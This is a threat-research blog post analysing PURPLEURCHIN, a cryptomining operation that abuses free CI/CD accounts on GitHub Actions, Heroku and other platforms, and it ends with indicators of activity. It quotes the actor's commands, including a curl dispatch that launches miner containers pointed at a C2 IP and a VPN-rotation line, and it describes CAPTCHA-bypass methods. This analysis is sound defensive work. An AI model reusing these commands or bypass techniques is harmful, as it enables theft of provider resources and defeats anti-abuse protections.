Sysdig TRT uncovers massive cryptomining operation leveraging GitHub Actions

By Crystal Morin - OCTOBER 25, 2022

SHARE:

Docker and GitHub

The Sysdig Threat Research Team (Sysdig TRT) recently uncovered an extensive and sophisticated active cryptomining operation in which a threat actor is using some of the largest cloud and continuous integration and deployment (CI/CD) service providers; including GitHub, Heroku, Buddy.works, and others to build, run, scale, and operate their massive cloud operation. Because no one has yet reported on this activity and its techniques, we are going to refer to this cluster of activity as PURPLEURCHIN.

The operation is highly obfuscated and employs automation at multiple levels, with more than 130 Docker Hub images and regularly rotating CI/CD accounts on various platforms.

The activity observed is known as “freejacking,” which is the abuse of compute allocated for free trial accounts on CI/CD platforms. Abusing free resources on its own is not new and has been reported before. It has actually caused many CI/CD providers to change their approach to free trials. Provider attempts to ward off this fraud ranges from making it more time-consuming to create accounts with CAPTCHA and other technologies to requiring a valid credit card on file. The operation detailed in this article bypasses a number of these defenses and shows progressive sophistication regarding automation techniques.

PURPLEURCHIN

Think of this as the cloud equivalent of a coupon fraud scam on a massively automated scale; the free computing power is the coupon, and cryptocurrency is the item up for purchase.

Sysdig’s TRT uncovered more than 30 GitHub accounts, 2,000 Heroku accounts, and 900 Buddy accounts. The threat actor is targeting several platforms at the same time and seemingly always looking for more.

Motive and impact

The most probable motive of this operation is money, of course. The end result of PURPLEURCHIN’s efforts may be running cryptominers in as many environments as possible, as hands off as possible. Using free accounts shifts the cost of running the cryptominers to the service provider. However, like many fraud-use cases, the abuse of free accounts can affect others. Higher expenses for the provider will lead to higher prices for its legitimate customers.

The Sysdig TRT estimates that every free GitHub account that PURPLEURCHIN creates costs Github $15 per month. Free tier accounts from the other service providers discussed in this report can cost providers $7 to $10 per month. At these rates, it would cost a provider more than $100,000 for a threat actor to mine one Monero (XMR).

Resources, even in the cloud, are finite. It is possible that widespread illicit activity could cause poorer performance for the provider’s paying customers as well.

The scale of this cryptomining operation could be driven by a greater financial motive. PURPLEURCHIN is currently mining cryptocurrencies with low profit margins. It is possible that this operation is a low-risk, low-reward test before PURPLEURCHIN moves to higher-valued coins, like Monero or Bitcoin, which are more closely watched by law enforcement and security companies.

It is also possible that PURPLEURCHIN is preparing to attack the underlying blockchains. Proof-of-work algorithms are vulnerable to the 51% attack, where an attacker controls 51% of a network’s hashrate, thereby controlling the “entire” network, with some caveats. With an operation of this scale, PURPLEURCHIN could potentially control the 51% majority of a cryptocurrency’s validation mechanisms, allowing them to validate arbitrary transactions associated with any of their attacker-controlled cryptocurrency wallets. Their ability to validate arbitrary transactions would allow them to potentially steal millions of dollars worth of cryptocurrency, depending on the market capitalizations of said currencies.

Last but not least, this large-scale operation could be a decoy for other nefarious activities. In 2020, APT32 (Bismuth, OceanLotus) deployed cryptomining operations on victim networks in order to persist and evade detection of their simultaneous cyberespionage campaign.

Overview

Initially, Sysdig’s Container Analysis Engine captured suspicious behavior associated with the Docker image linux88884474/linuxapp84744474447444744474. The username and image name are a bit obscure, so we decided to dig in. We will share what we have uncovered thus far in this report.

The efforts PURPLEURCHIN invested here are abnormal, with an extensive list of service providers and open-source tools even beyond the selection of what we are sharing here. We are focusing on those that appeared consistently throughout our intelligence gathering and analysis.

The efforts PURPLEURCHIN invested here are abnormal, with an extensive list of service providers and open-source tools even beyond the selection of what we are sharing here. We are focusing on those that appeared consistently throughout our intelligence gathering and analysis.
High-level overview of PURPLEURCHIN operation

The Docker Hub images appear to be updated in batches. Of the 130-plus images, only two to six images receive updates at a time, with a majority of them having not been updated since the account was created in April 2022.

This batch update method could be to prevent Docker Hub from blocking or scanning their activity.

The GitHub repositories are created and used within one or two days. Each repository has a GitHub Action to run Docker images. We also witnessed some of the repositories that were spawning Actions disappear.

This could be either GitHub taking down the nefarious accounts, or the actor deleting accounts as they hit the free-tier account limits.

GitHub, for example, offers 2,000 free GitHub Action minutes per month. That could amount to approximately 33 hours of run time per account created by PURPLEURCHIN.

PURPLEURCHIN

GitHub account free tier limits

To come up with cost estimates for the aforementioned CI/CD service providers, we reviewed the platforms’ pricing models and compared the free-tier limits to the paid-service offerings regarding details such as the allotted build minutes and number of simultaneous jobs permitted. With the limited capability and low specs for the free tier accounts at two cores and 8GB of RAM, we estimated that PURPLEURCHIN would need to use several thousand free accounts to earn $137.

Assuming the costs of a user paying for the cheapest Ubuntu CI runner to perform the same computation, this would be a use of approximately $103,000 of GitHub’s resources.

We believe PURPLEURCHIN uses a different coin for each targeted CI/CD service provider; however, the Stratum relay runs for all of the different coins and wallets, all of the time.

Technical details

Going deeper into PURPLEURCHIN’s whole operation, we show you here the techniques they use to achieve their goal of large-scale, automated cryptomining.

Going deeper into PURPLEURCHIN’s whole operation, we show you here the techniques they use to achieve their goal of large-scale, automated cryptomining.
Detailed PURPLEURCHIN operation diagram

Command and control container

The linuxapp container, named linuxapp84744474447444744474, acts as the command and control container. It is also the Stratum Relay server, which receives connections from all of the active mining agents. As seen in the script below, it runs the open-source stratum proxy software No Dev-Fee Stratum Proxy, which avoids fees charged by other proxies.

The stratum relay servers are started by NodeJS and listen on each of these different ports: 12000, 14000, 24000, 32000, and 34000. It then goes on to start more of its services.

PURPLEURCHIN

GitHub Action creation

The shell script, userlinux8888, is responsible for creating the github-actions.yml workflow in each of the threat actor’s repositories. It attempts to obfuscate the Actions by naming them with random strings.

It leverages a common template, but substitutes the newly generated random name.

PURPLEURCHIN
Userlinux8888

In order to push the workflow file to each repository, the script adds SSH keys for use with the GitHub command line utility, and creates a GitHub repository. It then pushes the previously created GitHub workflow to the master branch of the new repository and records the GitHub repository and bearer token for later use.

In order to push the workflow file to each repository, the script adds SSH keys for use with the GitHub command line utility, and creates a GitHub repository. It then pushes the previously created GitHub workflow to the master branch of the new repository and records the GitHub repository and bearer token for later use.

The image below shows the result of this automated workflow: the creation of a GitHub account and repository and the successful execution of a lot of GitHub Actions to run mining operations. The length of time that the miner runs can vary due to currently unknown factors. They do appear to succeed often.

PURPLEURCHIN

GitHub Action execution

The script, linuxwebapp88, is responsible for triggering the aforementioned GitHub Actions that do the actual mining for this part of the operation. All of PURPLEURCHIN’s GitHub accounts are stored in a local file, along with a bearer token that allows the authentication of the request.

PURPLEURCHIN
user8888

A snippet of the script linuxwebapp88 shown below will iterate through the list and use curl to pass a pre-made Docker command to each repository’s Action, along with the IP address of the stratum relay server and other configuration information. On the GitHub side, it will receive the Docker command and run it, thus starting the miner container.

curl --request POST --url "https://api.github.com/repos/$linuxweb8888/dispatches" --header "authorization: Bearer $linuxweb88888874" --data "{\"event_type\": \"hello\", \"client_payload\": {\"web1\": \"docker run -d linux88884474/webappweblinux88 /bin/bash /linux88 5.199.170.64 24000 webappapp8888 2048 32\"}}" &> /dev/null &
Code language: JavaScript (javascript)

Mining container

When the initial observed PURPLEURCHIN Docker Hub image was executed, it triggered GitHub Actions in several repositories via HTTP. These GitHub repositories contain only workflow actions that use Docker to run different containers from the actor’s Docker Hub account.

The GitHub Actions previously mentioned were used to launch 30-plus instances (per Action run) of various Docker images. One such example is the following command line:

docker run -d linux88884474/webappweblinux88 /bin/bash /linux88 <proxy_ip> 24000 webappapp8888 2048 32 
Code language: JavaScript (javascript)

Where the arguments following /bin/bash are:

  • Script to run.
  • Proxy IP.
  • Proxy port to connect to.
  • Name of this particular miner instance used when connecting to the Stratum proxy.
  • Amount of /dev/shm memory to use (in megabytes).
  • Number of bits to use in the CPU architecture.

This script, which eventually calls a nodejs file index.js, launches a Tidecoin miner. The miner uses a CPU-based mining algorithm called yespower. This is notable because cryptojackers will usually just use XMRig downloaded straight from GitHub, the de facto CPU miner for Monero, whereas PURPLEURCHIN is opting for a CPU miner that gets called via nodejs. An open question while performing this research was “Why these coins in particular?” As the value of the coins was so low, mining them seemed to be minimally profitable, even at scale. Our theory here is that the threat actor is choosing these coins based on the yespower algorithm because the mining process can be spawned from said nodejs parent, aiding in evading detection.

Tidecoin is just one of several cryptocurrencies that PURPLEURCHIN currently mines. Others include Onyx, Surgarchain, Sprint, Yenten, Arionum, MintMe, and Bitweb. We can say with a medium amount of confidence that the actor has been experimenting with different coins.

Finally, PURPLEURCHIN uses their own Stratum mining protocol relay, which aids them in avoiding network-based detections that look for outbound connections to publicly known mining pools. Their relay has the added benefit of obscuring the crypto wallet addresses used in this nefarious scheme, because each miner simply connects to the relay and asks for work, while the relay keeps track of wallets and payments upstream, hidden from the incident responders.

In our 2022 Threat Report, we share details of TeamTNT using XMRig-proxy to do the same.

Account registration container

The Docker container, vnc84744474447488888888882, is responsible for creating the accounts that it will use to eventually launch the miner operations. What makes this container extra fascinating is that it leverages several techniques to create accounts and bypasses the bot protections that are supposed to prevent automatic account creation.

It does this using several tools and methods, which we will go over.

OpenVPN

One of the first issues with automatically creating accounts is making sure that your source IP address is different for each account. Many sites use rate-limiting and IP-based heuristics to make it difficult to create large numbers of accounts.

PURPLEURCHIN uses the popular OpenVPN software package along with the Namecheap VPN network. The VPN configuration file is chosen at random from a bench of VPN servers along with the credentials necessary to connect to them.

openvpn --config "/ovpn/$(ls /ovpn/ | shuf -n1)" --auth-user-pass '/ovpnuser/username84744474' —daemon
Code language: JavaScript (javascript)

In the screenshot below, you can see a large list of VPN configurations which make up the options available from Namecheap. PURPLEURCHIN uses numerous networks located around the globe, which makes correlating them difficult.

PURPLEURCHIN
PURPLEURCHIN

XDOTOOL

Most service providers do not provide any API-based method to create accounts. Instead, they expect users to do it through their websites. There are a lot of methods service providers use to ensure that users are coming from a real browser and not just hitting their API endpoints.

PURPLEURCHIN manages to bypass all of these defenses by instrumenting a Brave web browser to accomplish the registration. In order for it to be automated, they use XDOTOOL to send mouse and keyboard input to the browser in a programmatic way.

PURPLEURCHIN

Wit

Another method PURPLEUCHIN uses to bypass bot protection mechanisms is a Python package called Wit for speech recognition of .wav audio files.

Many CAPTCHA systems offer an audio option to allow it to be solved.

The shell script, userlinux8888, is responsible for creating the github-actions.yml workflow in each of the threat actor’s repositories. It attempts to obfuscate the Actions by naming them with random strings. It leverages a common template, but substitutes the newly generated random name.

We also identified several Google recaptcha audio file URLs in Heroku logs, as shown below. However, these logs date back to a few months ago. We did not find any evidence of audio captcha bypasses in the most recent execution pipeline, but this is an indication that PURPLEURCHIN is capable of bypassing audio captchas.

PURPLEURCHIN
PURPLEURCHIN

Buster

Taking a closer look at the browser extensions that the threat actor installed, we found one named “Buster: Captcha Solver for Humans.” This tool also likely facilitates PURPLEURCHIN’s automated captcha solving during account creations.

There were indications in logs that octocaptcha and funcaptcha are being bypassed. As shown below, PURPLEURCHIN used version 1.3.1:

PURPLEURCHIN

Once the last script has run in this account registration container, the script’s execution results are sent to the C2 container listening on a specific port. The C2 saves the results to a file. In the case of GitHub, the output is a user and token to be used to trigger GitHub Actions.

PURPLEURCHIN

IMAP container

This container, identified as imap84744474, contains an IMAP server to receive emails and a Postfix server to send emails. When the container is run, it is given a domain name from the actor’s pool.

When registering new accounts, it is used to receive the account creation and verification emails. Other scripts are run to act on this information, allowing automated registration to continue.

Dashboard Container

This container is identified as web84744474447444744474 and is launched by the latest version of the C2 image with this script:

docker run -it --shm-size=12000m -d -p 42880:42880 linux88884474/web84744474447444744474 /bin/bash /linux84744474
Code language: JavaScript (javascript)

Index.php, the usual default webpage, manages a dashboard with login and register functions. It also allows the PURPLEURCHIN to start the deployment of the command and control container. It downloads and executes a shell script from a BitBucket repository. The script file is run with parameters identified in input and starts the execution of a new linuxapp container, retrieved from PURPLEURCHIN’s private registry.

These scripts also pulled images from a private registry located at 212.90.120.130:5000. It was offline at the time of this analysis.

PURPLEURCHIN
Mining dashboard

The rest of the container mainly consists of an Apache web server, listening on port 42880, a MySQL database, and a number of PHP scripts. The purpose of these is to act as the PURPLEURCHIN dashboard. They can log in and see the current status of all connected workers and get financial information from their wallets.

PURPLEURCHIN

Paid84744474.php reaches out to different cryptocurrency explorer API endpoints and retrieves content related to a wallet and any active workers. It performs computations on the data and then stores the information in the database for later display. Much of the code here and in the other PHP scripts provides the actor an understanding of how much money is being made.

PURPLEURCHIN

This dashboard container also contains PURPLEURCHIN’s scripts for CircleCI and Semaphore in BitBucket. The CircleCI configuration script instructs the CircleCI build to run the container webappappapp/web with the arguments /bin/bash /web. We also identified a Salesforce account and Fly.io account alongside the CircleCI scripts, a likely indication that all of these platforms are integrated with one another; however, we saw no other indications of Salesforce usage in our analysis.

The Semaphore script is very similar to the aforementioned GitHub Actions run in that it spawns 25 instances of the same container image linux88884474/webappweblinux88 with the following command:

/bin/bash /linux88 stratum-na.rplant.xyz 7017 <BitWeb Wallet> 2048 32
Code language: JavaScript (javascript)

Conclusion

Freejacking at the scale at which PURPLEURCHIN is currently operating may not cost a provider much or make the threat actor much either. If someone is able to scale the number of abused accounts into the thousands, however, there is money to be made.

The cost to the provider can also become significant at this scale, as efficiency isn’t on the mind of the threat actor making money, and these accounts add up. PURPLEURCHIN is one such actor who is actively evolving their freejacking operation in order to abuse a large number of free accounts with as little human effort as possible.

This is nothing we have seen before, and we intend to continue following this activity.

Indicators of activity

These are the indicators of compromise (IOCs) in the traditional definition that we all know and love in the threat intelligence world; however, since there isn’t really a compromise here, we can instead refer to them here as indicators of activity.

GitHub usernames

agreeable-stand
agreeable-stand8888
appweb888888
appwebdevlab
appwebweb
appwebwebweb
candidaturesweb
googlemobile888874
googlemobile888874888874
googlewebapp
linuxweb8888884474
linuxweb888888447488748874
linuxweb888888447488748874888874
linuxwebappapp88
linuxwebappapp88882
roundnation
roundnation8474
webapp888844444474
webapp88888874
webappapp
webappappappapp8888
webapplinux8888
webapplinux8888744474
webapplinux888888742
webapplinux8888887444448874
webapplinux88888874888888742
webapplinux8888887488888874882
webapplinux8888887488888874884488742
webapplinux8888887488888874888874
webapplinux88888888742
webapplinux8888888874882
webapplinux88888888748874
webapplinux888888887488748888
webapplinux88888888748888882
webapplinuxapp8888
webapplinuxwebweb88
weblinux88741
weblinux8888
weblinux888888
weblinuxappappappappapp88
weblinuxapplinuxapplinuxapp88
weblinuxweb

Cryptocurrency wallets

Aronium2Kp1jXXXXMDNQ
SugarchainsugarXXXXyrar
YentenYRweXXXXG1Zj
MintMe0x31XXXXaF34
BitWebwebXXXX9crh
OnyxoPtVXXXXqggJ
OnyxoKPpXXXXDPgU
SprintSc98XXXXHgYi
TidecoinTFwcXXXXEFWw
YentenYksWXXXXA8hP

C2 IPs used

5.199.170.64
185.150.117.221
188.214.130.21
93.115.29.187
92.242.62.20

For additional IoCs associated with this campaign, please visit our GitHub page.

Subscribe and get the latest updates